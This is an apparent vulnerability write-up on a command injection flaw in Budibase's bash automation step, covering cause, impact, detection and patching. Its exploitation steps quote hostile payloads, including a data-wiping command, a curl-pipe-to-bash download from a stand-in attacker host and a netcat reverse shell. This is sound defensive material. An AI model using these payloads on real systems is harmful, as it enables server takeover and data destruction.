CVE-2026-25044: 
JavaScript vulnerability analysis and mitigation

CVE-2026-25044 is an OS command injection vulnerability in Budibase, an open-source low-code platform, affecting the bash automation step in versions prior to 3.33.4. The flaw allows authenticated attackers with low privileges to execute arbitrary OS commands on the server. It was published on April 3, 2026, with the security advisory authored by Budibase maintainer mjashanks and credited to reporter omkarparth. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (Github Advisory, Budibase Advisory).

The vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command) and resides in packages/server/src/automations/steps/bash.ts. The bash automation step passes user-supplied input through processStringSync() — which performs template interpolation — and then directly executes the resulting string via Node.js execSync() without any sanitization or validation. An attacker with access to create or modify automations can embed shell metacharacters or command substitution syntax (e.g., $(rm -rf /), ; malicious-command, | malicious-command) within template expressions, causing arbitrary commands to be executed server-side (Github Advisory, Budibase Advisory).

Successful exploitation results in remote code execution (RCE) with the privileges of the Budibase server process, enabling complete system compromise. An attacker can exfiltrate sensitive data stored on or accessible from the server, tamper with application data and configurations, and use the compromised host as a pivot point for lateral movement within the infrastructure. All three security pillars — confidentiality, integrity, and availability — are rated High impact (Budibase Advisory, Github Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Github Advisory). The vulnerability requires low-privilege authenticated access (the ability to create or modify automations), which limits opportunistic exploitation but does not eliminate insider or post-compromise risk. The EPSS score is approximately 0.07–0.098%, placing it in roughly the 27th percentile for exploitation likelihood within 30 days. The CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Authenticate to Budibase: Obtain a low-privilege account with permission to create or modify automations (e.g., a standard user or developer account on the target Budibase instance).
2. Navigate to Automations: In the Budibase UI, open or create an automation workflow that includes a "Bash" automation step.
3. Craft a malicious payload: In the bash step's command input field, insert a template expression that resolves to a command injection payload, such as {{ '$(id)' }}, ; curl http://attacker.com/shell.sh | bash, or | nc attacker.com 4444 -e /bin/bash.
4. Trigger the automation: Save and execute the automation. The server processes the input through processStringSync(), which evaluates the template, and then passes the resulting string directly to execSync(), executing the injected command as the Budibase server process.
5. Achieve RCE: The injected command runs on the server, enabling reverse shell establishment, data exfiltration, credential harvesting, or further lateral movement within the infrastructure (Budibase Advisory, Github Advisory).

• Logs: Budibase server logs showing automation executions containing shell metacharacters ($(), ;, |, `) or unexpected command strings in bash step inputs; Node.js process logs with unusual execSync output or errors.
• Process: Unexpected child processes spawned by the Budibase Node.js process (e.g., /bin/bash, curl, wget, nc, python) visible via process monitoring tools such as ps, auditd, or EDR telemetry.
• Network: Outbound connections from the Budibase server to unknown external IPs or domains, particularly on non-standard ports (e.g., reverse shell callbacks); DNS queries for attacker-controlled domains originating from the server process.
• File System: New or modified files in the Budibase installation directory or /tmp; presence of web shells, downloaded scripts, or cron job modifications created by the Budibase service account (Budibase Advisory).

Budibase has released version 3.33.4, which patches this vulnerability; all users running versions prior to 3.33.4 (including ≤ 3.23.22) should upgrade immediately (Github Advisory, Budibase Advisory). As an immediate workaround prior to patching, disable the bash automation step in production environments. Additional hardening measures recommended by the vendor include implementing a whitelist of allowed commands, replacing execSync with spawn using explicit argument arrays (avoiding shell interpretation), validating and sanitizing command arguments, using a restricted shell or sandboxed execution environment, and adding rate limiting and monitoring for automation command execution activity.

The vulnerability was reported by security researcher omkarparth and published by Budibase maintainer mjashanks via GitHub Security Advisories on April 2–3, 2026 (Budibase Advisory). Coverage appeared across vulnerability tracking platforms including CVEFeed, VulDB, and CIRCL shortly after disclosure. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified at this time.